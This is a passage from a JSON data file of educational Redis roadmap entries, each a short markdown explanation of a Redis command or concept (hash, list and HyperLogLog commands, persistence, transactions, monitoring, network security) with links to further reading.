    "content": "# HGET\n\n`HGET` is a Redis command used to retrieve the value of a specified field within a hash. If the field exists, it returns the value; if not, it returns `nil`. This command is efficient for accessing specific fields within a hash without retrieving the entire hash structure, making it ideal for scenarios where only selective data needs to be read from a Redis hash.\n\nLearn more from the following resources:\n\n- [@official@HGET](https://redis.io/docs/latest/commands/hget/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hgetall@TpR33sJ-tAjeG3jpGTvYR.md",
    "content": "# HGETALL\n\n`HGETALL` is a Redis command that retrieves all the fields and their values from a specified hash. It returns the data as an array of field-value pairs, making it useful for obtaining a complete view of the hash's contents. However, it can be memory-intensive for large hashes, so it’s recommended to use it cautiously when dealing with high data volumes.\n\nLearn more from the following resources:\n\n- [@official@HGETALL](https://redis.io/docs/latest/commands/hgetall/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/high-performance-and-scalability@5-3pd4rLDqRzMzSRVLdXh.md",
    "content": "# High Performance and Scalability\n\nHigh performance and scalability in Redis are achieved through its in-memory data storage model, which allows for extremely fast read and write operations with minimal latency. Redis supports data partitioning, replication, and clustering, enabling it to scale horizontally across multiple nodes and handle large volumes of requests simultaneously. With asynchronous replication and automatic failover, Redis ensures high availability, making it well-suited for real-time applications that require low latency and high throughput, such as caching, messaging, and session management.\n\nLearn more from the following resources:\n\n- [@article@Optimizing Redis for High Performance](https://loadforge.com/guides/optimizing-redis-for-high-performance-essential-configuration-tweaks)\n- [@article@High-Performance and Scalable Architecture with Redis](https://medium.com/@emreemenekse/high-performance-and-scalable-architecture-with-redis-and-net-core-abde36074d26)"
  },
  {
    "path": "src/data/roadmaps/redis/content/how-aof-works@PTj6oxvpw8vP295WvAI80.md",
    "content": "# How AOF Works?\n\nThe Append-Only File (AOF) in Redis is a persistence mechanism that logs every write operation to a file in sequential order, ensuring data durability. Each command is appended to the end of the AOF file, which Redis can replay to rebuild the dataset in case of a restart. The AOF file can grow over time, so Redis provides an automatic background process called *AOF rewrite* to create a compact version by eliminating redundant commands. AOF is generally safer than the default RDB snapshotting, as it provides finer granularity for data recovery and minimizes the potential for data loss.\n\nLearn more from the following resources:\n\n- [@article@About AOF Persistence - Google](https://cloud.google.com/memorystore/docs/cluster/about-aof-persistence)"
  },
  {
    "path": "src/data/roadmaps/redis/content/how-rdb-works@D3pZdAjwPFMRxX1-iyu5-.md",
    "content": "# How RDB Works?\n\nThe RDB (Redis Database Backup) mechanism in Redis creates snapshots of the dataset at specified intervals and saves them to disk as a compact binary file. This process is triggered manually, via the `SAVE` or `BGSAVE` commands, or automatically based on predefined conditions. During a snapshot, Redis forks a child process to write the in-memory data to the RDB file, ensuring that the main process is not blocked. While RDB offers a lightweight and fast backup option, it may lead to potential data loss if Redis crashes between snapshots, making it ideal for periodic backups rather than real-time persistence.\n\nLearn more from the following resources:\n\n- [@official@Backup Data](https://redis.io/docs/latest/operate/rc/databases/back-up-data/)\n- [@article@About RDB Snapshots](https://cloud.google.com/memorystore/docs/redis/about-rdb-snapshots)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hset@BOJzn9SWad9oRRdY_ub01.md",
    "content": "# HSET\n\n`HSET` is a Redis command used to set the value of a specified field within a hash. If the field already exists, it updates the value; if not, it adds the field to the hash. This command is useful for creating and managing key-value pairs within a hash structure without modifying other fields. It returns `1` if a new field is created and `0` if an existing field is updated, making it efficient for atomic updates in a Redis hash.\n\nLearn more from the following resources:\n\n- [@official@HSET](https://redis.io/docs/latest/commands/hset/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hybrid-persistence@S5Y26m1oHCQpB-oLCdtac.md",
    "content": "# Hybrid Persistence\n\nHybrid persistence in Redis combines both RDB (Redis Database Backup) and AOF (Append-Only File) mechanisms to leverage the benefits of each. RDB provides efficient snapshot-based backups at defined intervals, while AOF logs every write operation to ensure minimal data loss. Using both, Redis achieves a balance between fast recovery times (thanks to compact RDB snapshots) and high durability (from the detailed logging of AOF). This approach minimizes the drawbacks of using either persistence type alone and offers a robust solution for scenarios requiring both performance and data safety.\n\nLearn more from the following resources:\n\n- [@official@Redis Persistence](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/hyperloglog@cszjT3YK8oyhGpqLTQzwX.md",
    "content": "# HyperLogLog\n\nHyperLogLog is a probabilistic data structure in Redis used for efficiently estimating the cardinality (i.e., the number of unique elements) of large datasets with minimal memory usage. Instead of storing the actual elements, it maintains a compressed representation, allowing it to estimate cardinality with a typical error rate of only 0.81%. Commands like `PFADD`, `PFCOUNT`, and `PFMERGE` are used to add elements, get the count, and merge HyperLogLogs, respectively. This structure is ideal for applications like unique visitor tracking or counting events where exact counts are not required but low memory consumption is critical.\n\nLearn more from the following resouces:\n\n- [@official@HyperLogLog Documentation](https://redis.io/docs/latest/develop/data-types/probabilistic/hyperloglogs/)\n- [@video@Redis HyperLogLog Explained](https://www.youtube.com/watch?v=MunL8nnwscQ)"
  },
  {
    "path": "src/data/roadmaps/redis/content/in-memory-data-structure-store@M-EXrTDeAEMz_IkEi-ab4.md",
    "content": "# In-memory Data Structure Store\n\nAn in-memory database is a purpose-built database that relies primarily on internal memory for data storage. It enables minimal response times by eliminating the need to access standard disk drives (SSDs). In-memory databases are ideal for applications that require microsecond response times or have large spikes in traffic, such as gaming leaderboards, session stores, and real-time data analytics. The terms main memory database (MMDB), in-memory database system (IMDS), and real-time database system (RTDB) also refer to in-memory databases.\n\nLearn more from the following resources:\n\n- [@official@Get Started with In-Memory Data Store](https://redis.io/docs/latest/develop/get-started/data-store/)\n- [@article@Amazon MemoryDB](https://aws.amazon.com/memorydb/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/incr@5K9qyC4mrhXYWOC8WSq8C.md",
    "content": "# INCR\n\n`INCR` command used to increment the value of a string key by 1. If the key does not exist, it initializes the key with a value of 0 before performing the increment operation, resulting in a value of 1. If the key contains a non-integer value, the command will return an error. `INCR` is atomic, meaning it is safe to use in concurrent environments without race conditions, making it ideal for use cases like counters or tracking metrics.\n\nLearn more from the following resources:\n\n- [@official@INCR](https://redis.io/docs/latest/commands/incr/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/info@q2Jw49QUWCUGIfcEC1bZI.md",
    "content": "# INFO\n\n`INFO` command that provides detailed information and statistics about the server, including memory usage, CPU load, connected clients, replication status, and more. It can be called without arguments to get a full overview or with specific sections (e.g., `INFO memory`) to retrieve targeted data. This command is useful for monitoring and debugging Redis instances, helping administrators understand the server's current state and performance metrics.\n\nLearn more from the following resources:\n\n- [@official@INFO](https://redis.io/docs/latest/commands/info/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/key-value-database@l2aXyO3STnhbFjvUXPpm2.md",
    "content": "# Key-value Database\n\nKey-value Database is a non-relational (NoSQL) database that stores data as a collection of key-value pairs. In this model, each piece of data is associated with a unique identifier (key) that is used to retrieve the corresponding value. This simple structure allows for high performance and scalability, making key-value databases ideal for certain use cases. \n\nVisit the following resources to learn more:\n\n- [@official@What is a Key-Value Database?](https://redis.io/nosql/key-value-databases/)\n- [@video@Key Value Store - System Design Interview Basics](https://www.youtube.com/watch?v=ozJHmm05EXM)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/leaderboards-and-counters@Fv1iGX22sApIEifM2IpJz.md",
    "content": "# Leaderboards and Counters\n\nLeaderboards and counters are common use cases for Redis, leveraging its sorted sets and atomic increment operations. For leaderboards, the `ZADD` command is used to add members with their scores to a sorted set, and `ZRANGE` or `ZREVRANGE` retrieves the top (or bottom) ranked members efficiently. This makes Redis ideal for ranking systems in gaming or tracking top-performing entities. Counters are managed using commands like `INCR` and `DECR`, which atomically increase or decrease integer values. These operations are lightweight and performant, making Redis a go-to solution for tracking metrics, analytics, or rate limiting.\n\nLearn more from the following resources:\n\n- [@official@ZADD](https://redis.io/docs/latest/commands/zadd/)\n- [@official@ZRANGE](https://redis.io/docs/latest/commands/zrange/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lindex@hBFEUXtuzUTzWZKp2qWaZ.md",
    "content": "# LINDEX\n\n`LINDEX` is a Redis command used to retrieve an element from a list by its index. The index can be positive (starting from 0 for the first element) or negative (e.g., -1 for the last element). If the index is out of range, the command returns `nil`. This command is useful for accessing specific elements in a list without needing to fetch the entire list, making it efficient for operations where only certain elements are needed.\n\nLearn more from the following resources:\n\n- [@official@LINDEX](https://redis.io/docs/latest/commands/lindex/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lists@4-C4XqACUp4nvcMIj6djF.md",
    "content": "# Lists\n\nLists in Redis are ordered collections of string elements, allowing operations such as pushing, popping, and accessing elements by index. Lists support various commands, like `LPUSH` and `RPUSH` to add elements to the beginning or end, `LPOP` and `RPOP` to remove elements, and `LRANGE` to retrieve a range of elements. They are ideal for use cases like message queues, task management, or implementing stacks and queues, where maintaining order is crucial. Lists can grow dynamically and provide high performance for operations at the ends, making them highly flexible for managing ordered data sequences.\n\nLearn more from the following resources:\n\n- [@official@Redis Lists](https://redis.io/docs/latest/develop/data-types/lists/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/llen@4oCcP9FxDJSDMHCEVBCNa.md",
    "content": "# LLEN\n\n`LLEN` is a Redis command used to return the length of a list stored at a specified key. If the list does not exist, it returns `0`. This command is efficient for quickly checking the number of elements in a list without retrieving its contents, making it useful for monitoring queue sizes, tracking list growth, or validating data presence in real-time applications.\n\nLearn more from the following resources:\n\n- [@official@LLEN](https://redis.io/docs/latest/commands/llen/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lmove@9KvHcS5F4Jj5ZXgIAdOQY.md",
    "content": "# LMOVE\n\n`LMOVE` is a Redis command used to atomically move an element from one list to another. It pops an element from the source list (either from the left or right end) and pushes it to the destination list (either to the left or right end), based on the specified parameters (`LEFT` or `RIGHT`). This command is useful for implementing queue-like patterns or managing work distribution between different lists without race conditions, as it ensures that the element is safely transferred in a single atomic operation.\n\nLearn more from the following resources:\n\n- [@official@LMOVE](https://redis.io/docs/latest/commands/lmove/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lpop@voa61RTWMJD3Sk8DNJoVQ.md",
    "content": "# LPOP\n\n`LPOP` is a Redis command that removes and returns the first element from the left side of a list. If the list is empty or does not exist, it returns `nil`. This command is commonly used in scenarios like implementing queues or consuming elements in FIFO (First-In-First-Out) order, making it ideal for task processing, message handling, and managing ordered data flows in real-time applications.\n\nLearn more from the following resources:\n\n- [@official@LPOP](https://redis.io/docs/latest/commands/lpop/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lpush@Kq7G89KaZZMFkrH-9WZoS.md",
    "content": "# LPUSH\n\n`LPUSH` is a Redis command that inserts one or more elements at the beginning (left side) of a list. If the list does not exist, it creates a new list before performing the insertion. This command returns the length of the list after the operation. `LPUSH` is useful for building stacks or adding items to queues where new elements need to be prioritized, enabling efficient manipulation of ordered data structures in Redis.\n\nLearn more from the following resources:\n\n- [@official@LPUSH](https://redis.io/docs/latest/commands/lpush/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lrange@8JTtBy6oD2wFYDizVkcVa.md",
    "content": "# LRANGE\n\n`LRANGE` is a Redis command that retrieves a specified range of elements from a list, defined by a start and stop index. The indices can be positive (starting from 0) or negative (e.g., -1 for the last element). This command is commonly used to fetch subsets of a list without loading the entire list into memory, making it useful for paginating data, viewing portions of a queue, or analyzing a segment of ordered data in an efficient manner.\n\nLearn more from the following resources:\n\n- [@official@LRANGE](https://redis.io/docs/latest/commands/lrange/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/lua-scripting@Veb30QrPYNjUn13dtGbUr.md",
    "content": "# Lua Scripting\n\nLua scripting in Redis allows users to execute custom scripts atomically on the server side, enabling complex operations to be performed in a single step. Lua scripts are run using the `EVAL` or `EVALSHA` commands, and can manipulate multiple keys and values in a single execution. This reduces network overhead and ensures data consistency, as the script executes as a single transaction. Lua is commonly used for tasks like conditional updates, batch processing, and combining multiple commands into a single operation, enhancing Redis's flexibility and power for advanced use cases.\n\nLearn more from the following resources:\n\n- [@official@Lua Programming Language](https://www.lua.org/)\n- [@video@Lua in 100 Seconds](https://www.youtube.com/watch?v=jUuqBZwwkQw)\n- [@video@Full Lua Programming Crash Course](https://www.youtube.com/watch?v=1srFmjt1Ib0)"
  },
  {
    "path": "src/data/roadmaps/redis/content/max-memory-policy@Sd1ENOXSFCz1YqccXjr2A.md",
    "content": "# Max Memory Policy\n\nThe Max Memory Policy in Redis determines how the server handles data when it reaches the configured maximum memory limit. Redis offers several eviction policies, such as `noeviction` (return an error on writes), `allkeys-lru` (evict the least recently used keys), `volatile-lru` (evict the least recently used keys with an expiration set), `allkeys-random` (evict random keys), and others. These policies allow Redis to optimize memory usage based on the use case, balancing between maintaining data availability and minimizing the risk of data loss when memory constraints are reached.\n\nLearn more from the following resources:\n\n- [@official@Database Memory Limits](https://redis.io/docs/latest/operate/rs/databases/memory-performance/memory-limit/)\n- [@official@Eviction Policy](https://redis.io/docs/latest/operate/rs/databases/memory-performance/eviction-policy/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/memory-management@xF0wQYmtwXYkrzvWg5gOO.md",
    "content": "# Memory Management\n\nMemory management in Redis involves efficiently handling data storage within its in-memory structure to maximize performance and prevent memory overflows. Redis uses various techniques such as memory-efficient data encoding (e.g., `ziplist` or `intset`), active and passive eviction strategies based on the configured max memory policy, and expiration of keys to automatically free up space. To persist data, Redis offers snapshotting (RDB) and logging (AOF) mechanisms. Additionally, commands like `MEMORY USAGE` and `MEMORY STATS` help monitor memory consumption, making it easier to tune and optimize the instance for specific use cases. Effective memory management ensures high availability, low latency, and predictable performance.\n\nLearn more from the following resources:\n\n- [@official@MEMORY USAGE Command](https://redis.io/docs/latest/commands/memory-usage/)\n- [@official@MEMORY STATS Command](https://redis.io/docs/latest/commands/memory-stats/)\n- [@article@Memory Management Best Practices](https://cloud.google.com/memorystore/docs/redis/memory-management-best-practices)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/message-broker@mgGJTBU8ofvOzl9gYWhnG.md",
    "content": "# Message Broker\n\nA message broker is a middleware system that enables communication between different services or applications by routing, storing, and delivering messages. Redis can serve as a lightweight message broker using its `PUBLISH` and `SUBSCRIBE` commands for a pub/sub messaging pattern, or through lists and sorted sets for more advanced messaging scenarios like task queues. Redis Streams provide additional features like message persistence, acknowledgment, and consumer groups, making it suitable for both real-time communication and more complex message processing pipelines. Its high throughput and low latency make Redis an efficient solution for building scalable messaging systems.\n\nLearn more from the following resources:\n\n- [@official@PUBLISH Command](https://redis.io/docs/latest/commands/publish/)\n- [@official@SUBSCRIBE Command](https://redis.io/docs/latest/commands/subscribe/)\n- [@article@Redis As a Message Broker](https://medium.com/shoutloudz/redis-as-a-message-broker-d1a1aeac23c3)"
  },
  {
    "path": "src/data/roadmaps/redis/content/monitor@jBtEiylcedtaE6E20Uk4V.md",
    "content": "# MONITOR\n\n`MONITOR` is a Redis command that provides a real-time feed of all commands executed on the server, displaying each command along with its arguments as they are processed. It is primarily used for debugging, monitoring, or analyzing the behavior of a Redis instance. Since `MONITOR` can impact performance by streaming every command in real-time, it should be used cautiously in production environments. It is a useful tool for understanding command patterns, tracking down issues, and gaining insights into how clients interact with the Redis server.\n\nLearn more from the following resources:\n\n- [@official@MONITOR](https://redis.io/docs/latest/commands/monitor/)\n- [@official@SLOWLOG](https://redis.io/docs/latest/commands/slowlog/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/monitoring@2p5RF4lVYfRvYTo1Ofm-a.md",
    "content": "# Monitoring\n\nMonitoring in Redis involves tracking the health, performance, and resource usage of the server to ensure optimal operation and early detection of issues. Tools and commands like `INFO` (providing statistics on memory, CPU, and clients), `MONITOR` (real-time command tracking), and `SLOWLOG` (logging slow queries) offer insights into server activity. Additionally, external tools like Redis Sentinel, Prometheus, and Grafana are often integrated for more comprehensive monitoring, alerting, and visualization. Effective monitoring helps maintain stability, optimize performance, and troubleshoot potential bottlenecks, making it crucial for managing Redis deployments at scale.\n\nLearn more from the following resources:\n\n- [@official@Monitoring with Metrics and Alerts](https://redis.io/docs/latest/operate/rs/clusters/monitoring/)\n- [@official@MONITOR](https://redis.io/docs/latest/commands/monitor/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@0v8uLWRCbAqEmKKdYaRQW.md",
    "content": "# More Commands - Strings\n\nRedis strings include a variety of operations that go beyond basic SET and GET functionality. Examples include MSET and MGET for setting and getting multiple keys at once, GETSET to set a new value while returning the old one, and SETEX or PSETEX for setting a value with an expiration time. Other commands like INCRBY and DECRBY allow incrementing or decrementing by a specified amount, while BITCOUNT and BITOP provide bit-level manipulations.\n\nLearn more from the following resources:\n\n- [@official@All Redis String Commands](https://redis.io/docs/latest/commands/?group=string)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@4-z4hDKm86qQatYnmE21R.md",
    "content": "# More Commands - Streams\n\nStreams include a variety of operations that enhance the core functionality provided by basic commands like XADD and XREAD. Examples include XDEL to remove specific entries from a stream, XTRIM to control the size of a stream by trimming old entries, and XGROUP for managing consumer groups, allowing multiple clients to read from the same stream in a coordinated manner. Commands like XPENDING and XCLAIM are useful for monitoring and handling pending messages, ensuring that no data is lost or left unprocessed.\n\nLearn more from the following resources:\n\n- [@official@All Redis Stream Commands](https://redis.io/docs/latest/commands/?group=stream)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@FCbdKnkI1ZHGekT6yiGua.md",
    "content": "# More Commands - Geospatial Indexes\n\nRedis Geospatial indexes include operations like GEODIST to calculate the distance between two members of a geospatial set, GEOHASH to retrieve the Geohash representation of locations, and GEOPOS to get the longitude and latitude of specified members. Additionally, GEORADIUS and GEORADIUSBYMEMBER allow searching for members within a given radius based on coordinates or a reference member.\n\nLearn more from the following resources:\n\n- [@official@All Redis Geospatial Commands](https://redis.io/docs/latest/commands/?group=geo)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@P6TDUCroLlEI7qePBFHIH.md",
    "content": "# More Commands - Hashes\n\nRedis Hashes include operations like HMSET and HMGET to set or retrieve multiple fields and values at once, HINCRBY and HINCRBYFLOAT to increment the value of a field by a given integer or float, and HLEN to get the number of fields in a hash. Commands like HKEYS and HVALS are used to retrieve all field names or values, respectively, while HSCAN enables incremental iteration over large hashes. These commands extend the functionality of basic hash operations, making Redis Hashes ideal for storing and manipulating structured data, such as user profiles or configuration settings, with efficient access and updates.\n\nLearn more from the following resources:\n\n- [@official@All Redis Hash Commands](https://redis.io/docs/latest/commands/?group=hash)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@V-d6q-3Sf0dl5v8xiCQwl.md",
    "content": "# More Commands - Pub/Sub\n\nRedis Pub/Sub include operations like PSUBSCRIBE and PUNSUBSCRIBE for subscribing and unsubscribing to channels using pattern matching, allowing for flexible topic-based subscriptions. Additionally, PUBSUB CHANNELS lists active channels, PUBSUB NUMSUB shows the number of subscribers per channel, and PUBSUB NUMPAT returns the count of active pattern subscriptions. These commands extend the basic publish and subscribe functionality, providing better insights and control over the messaging patterns, making Pub/Sub ideal for real-time event broadcasting, chat applications, and inter-service communication in distributed systems.\n\nLearn more from the following resources:\n\n- [@official@All Redis Pub/Sub Commands](https://redis.io/docs/latest/commands/?group=pubsub)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@b48EUyFGUeSjtT5fOa_m6.md",
    "content": "# More Commands - Sets\n\nRedis Sets include advanced operations like SRANDMEMBER to retrieve random members from a set, SPOP to remove and return random elements, and SMOVE to atomically move elements between sets. Commands like SSCAN allow for incremental iteration over large sets, avoiding performance issues with massive data structures. For complex set operations, SINTERSTORE, SUNIONSTORE, and SDIFFSTORE enable storing the results of set intersections, unions, or differences into new sets. These commands extend the functionality of basic set operations, enabling efficient membership tests, set manipulations, and mathematical set calculations, making Redis Sets highly versatile for diverse data management needs.\n\nLearn more from the following resources:\n\n- [@official@All Redis Set Commands](https://redis.io/docs/latest/commands/?group=set)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@eBeEUYY-IL_CMkcm31lUL.md",
    "content": "# More Commands - Lists\n\nRedis Lists include operations like LTRIM to trim the list to a specified range, RPOPLPUSH to remove an element from one list and append it to another, and BLPOP or BRPOP for blocking pop operations that wait until an element is available. Commands like LPOS allow finding the position of elements, and LSET is used to update a list element at a specified index. These additional commands provide robust functionality for manipulating lists, implementing queue-based patterns, and ensuring efficient handling of ordered data, making lists highly suitable for real-time data pipelines and task queues.\n\nLearn more from the following resources:\n\n- [@official@All Redis List Commands](https://redis.io/docs/latest/commands/?group=list)"
  },
  {
    "path": "src/data/roadmaps/redis/content/more-commands@o6e_CwxfPoU6qkfWkwKwj.md",
    "content": "# More Commands - Sorted Sets\n\nRedis Sorted Sets include operations like ZREVRANGE to get elements in reverse order, ZRANGEBYLEX to retrieve elements within a specific lexicographical range, and ZINTERSTORE or ZUNIONSTORE to perform intersection and union operations on multiple sorted sets and store the results. Commands like ZREMrangeBYRANK and ZREMRANGEBYSCORE allow for removing elements based on their rank or score ranges.\n\nLearn more from the following resources:\n\n- [@official@All Redis Sorted Set Commands](https://redis.io/docs/latest/commands/?group=sorted-set)"
  },
  {
    "path": "src/data/roadmaps/redis/content/multi@U6hST1MkS16T2CHV3-Ise.md",
    "content": "# MULTI\n\n`MULTI` is a Redis command used to start a transaction, allowing a group of commands to be executed sequentially and atomically. After initiating a `MULTI` block, commands are queued instead of being executed immediately. Once all desired commands are added, the `EXEC` command is called to run them as a single atomic operation. If an error occurs in any command during queuing, it can be discarded using `DISCARD`. `MULTI` ensures that no other clients can interfere with the transaction, making it ideal for complex operations that require consistent state updates.\n\nLearn more from the following resources:\n\n- [@official@MULTI](https://redis.io/docs/latest/commands/multi/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/naming-conventions@jCaVx5wvsvuyqtwh6m8si.md",
    "content": "# Naming Conventions\n\nNaming conventions in Redis are crucial for maintaining organized and understandable data structures, especially in large applications. Common practices include using colons (`:`) as separators for hierarchical keys (e.g., `user:1001:settings`), employing prefixes to group related keys (e.g., `session:`, `cache:`), and using concise, descriptive names to indicate the purpose and type of the key."
  },
  {
    "path": "src/data/roadmaps/redis/content/network-security@wsuKH7YwGDV6GYQbdhA4o.md",
    "content": "# Network Security\n\nNetwork security in Redis involves implementing measures to protect the server from unauthorized access and data breaches. Best practices include binding Redis to trusted interfaces, using firewalls to restrict access, and configuring `requirepass` for password protection. Redis should run in a secure network environment, ideally with TLS/SSL enabled for encrypted communication. Additionally, the use of `ACL` (Access Control Lists) provides granular permissions for different users. By disabling dangerous commands and using proper authentication and authorization mechanisms, Redis instances can be secured against common threats such as unauthorized data access and denial-of-service attacks.\n\nLearn more from the following resources:\n\n- [@official@Redis Authentication](https://redis.io/docs/latest/operate/oss_and_stack/management/security/#authentication)\n- [@official@Redis Network Security](https://redis.io/docs/latest/operate/rc/security/database-security/network-security/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/no-persistence-option@80035BzcB-fKCvD_3N8zE.md",
    "content": "# No Persistence Option\n\nThe **No Persistence** option in Redis disables all data persistence mechanisms, meaning that no data will be saved to disk. This can be configured by turning off both RDB snapshots and AOF (Append-Only File) logging. Running Redis without persistence is ideal for use cases where high-speed caching is prioritized over data durability, such as storing ephemeral data or managing sessions that don’t need to survive a server restart. While this option reduces disk I/O and maximizes performance, it also means that all data will be lost if the server is shut down or crashes, making it suitable only for scenarios where data loss is acceptable.\n\nLearn more from the following resources:\n\n- [@official@Redis Persistence](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/optimistic-locking@msW0Wd2H-6FFNDnjC64t-.md",
    "content": "# Optimistic Locking\n\nOptimistic locking in Redis is implemented using the `WATCH` command in combination with transactions (`MULTI` and `EXEC`). `WATCH` monitors specified keys for changes before starting a transaction. If any of the watched keys are modified by another client before `EXEC` is called, the transaction is aborted, and `EXEC` returns `nil` instead of executing the queued commands. This allows Redis to handle concurrent updates without requiring traditional locks, making it ideal for scenarios where multiple clients might modify the same keys. Optimistic locking helps maintain data integrity while minimizing the performance overhead typically associated with locking mechanisms.\n\nLearn more from the following resources:\n\n- [@official@Optimistic Locking using CHECK & SET](https://redis.io/docs/latest/develop/interact/transactions/#optimistic-locking-using-check-and-set)\n- [@official@WATCH Command](https://redis.io/docs/latest/commands/watch/)\n- [@official@MULTI Command](https://redis.io/docs/latest/commands/multi/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/overview-of-data-types@U84XgBFPyIbY0W5afH4cx.md",
    "content": "# Overview of Data Types\n\nRedis is a data structure server and at its core, REdis provides a collection of native data types that allow you to solve a wide variety of problems, from caching to event processing.\n\nLearn more from the following resources:\n\n- [@official@Understand Redis Data Types](https://redis.io/docs/latest/develop/data-types/)\n- [@article@Redis Data Types](https://www.tutorialspoint.com/redis/redis_data_types.htm)"
  },
  {
    "path": "src/data/roadmaps/redis/content/persistence-options@bQaek7f3dAaZfSUhwovm1.md",
    "content": "# Persistence Options\n\nRedis provides two main persistence options: **RDB (Redis Database Backup)** and **AOF (Append-Only File)**. RDB creates point-in-time snapshots of the dataset at specified intervals, offering efficient storage with minimal performance impact, making it suitable for periodic backups but with potential data loss between snapshots. AOF logs every write operation to disk, providing higher data durability by allowing finer-grained recovery, though it can be more resource-intensive. Redis also supports a **hybrid persistence** mode that combines both RDB and AOF for faster restarts and stronger durability. Additionally, a **No Persistence** option is available for scenarios where data retention is unnecessary, prioritizing speed and memory efficiency.\n\nLearn more from the following resources:\n\n- [@official@Data Persistence](https://redis.io/docs/latest/operate/rc/databases/configuration/data-persistence/)\n- [@official@Redis Persistence](https://redis.io/docs/latest/operate/oss_and_stack/management/persistence/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pfadd@8a4DmPZrX2xGZ7zdWxS63.md",
    "content": "# PFADD\n\n`PFADD` command used to add elements to a HyperLogLog data structure, which is designed for estimating the cardinality (number of unique elements) of a dataset. When elements are added using `PFADD`, Redis updates the internal structure without storing the actual elements, ensuring low memory consumption. This command returns `1` if the HyperLogLog was modified (i.e., a new unique element was added) and `0` otherwise. `PFADD` is ideal for use cases like counting unique visits or tracking unique events in a highly memory-efficient manner.\n\nLearn more from the following resources:\n\n- [@official@PFADD](https://redis.io/docs/latest/commands/pfadd/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pfcount@JWT30KIJQHVw0MXI5sGR6.md",
    "content": "# PFCOUNT\n\n`PFCOUNT` is a Redis command used to retrieve the estimated number of unique elements in one or more HyperLogLog structures. It provides an approximate cardinality count with a typical error rate of 0.81%, making it highly efficient for large datasets while using minimal memory. When called with multiple HyperLogLog keys, `PFCOUNT` merges the data and returns the approximate count of the union, allowing for quick aggregation of unique elements across multiple sets.\n\nLearn more from the following resources:\n\n- [@official@PFCOUNT](https://redis.io/docs/latest/commands/pfcount/)\n"
  },
  {
    "path": "src/data/roadmaps/redis/content/pfmerge@s50jr_XOUcxh65-tGCKf5.md",
    "content": "# PFMERGE\n\n`PFMERGE` is a Redis command used to combine multiple HyperLogLog data structures into a single HyperLogLog key, creating a new structure that represents the union of all unique elements. This command is useful when you want to aggregate and estimate the cardinality of distinct elements across multiple datasets. The resulting HyperLogLog can then be queried using `PFCOUNT` to get the approximate count of the merged unique elements.\n\nLearn more from the following resources:\n\n- [@official@PFMERGE](https://redis.io/docs/latest/commands/pfmerge/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pipelining@LHlwjN3WHYUBUafzzwsWQ.md",
    "content": "# Pipelining\n\nPipelining in Redis is a technique that allows clients to send multiple commands to the server without waiting for individual responses after each command. Instead, the commands are sent in a batch, and responses are read together at the end. This reduces the network overhead and latency associated with multiple round trips, significantly improving throughput, especially in high-volume operations.\n\nLearn more from the following resources:\n\n- [@official@Redis Pipelining](https://redis.io/docs/latest/develop/use/pipelining/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pre-compiled-binaries@yBZ79s6mzGdj5AnX2H_Hy.md",
    "content": "# Pre-compiled Binaries\n\nRedis can be compiled and installed on a variety of platofrm and operating systems including Linux and macOS, the Redis binaries have no dependencies other than a C compiler and libc\n\nLearn more from the following resources:\n\n- [@official@Installing Redis from Source](https://redis.io/docs/latest/operate/oss_and_stack/install/install-redis/install-redis-from-source/)\n- [@article@How to install Redis from source on Ubuntu and CentOS](https://docs.vultr.com/how-to-install-redis-from-source-on-ubuntu-and-centos)"
  },
  {
    "path": "src/data/roadmaps/redis/content/publish@gIPo-2CNqE1BsOaDzmkCU.md",
    "content": "# PUBLISH\n\n`PUBLISH` is a Redis command used to send messages to a specified channel in the pub/sub messaging system. When a message is published, all clients that are subscribed to that channel receive the message immediately. This command is useful for implementing real-time communication features, such as chat applications, notifications, or event broadcasting. The `PUBLISH` command does not return any acknowledgment to the sender, as it operates on a fire-and-forget basis, allowing for efficient message distribution without requiring the sender to wait for subscribers to process the message.\n\nLearn more from the following resources:\n\n- [@official@PUBLISH](https://redis.io/docs/latest/commands/publish/)"
  },
  {
    "path": "src/data/roadmaps/redis/content/pubsub-messaging@ZCyId3aIoLv3duxoJdk2P.md",
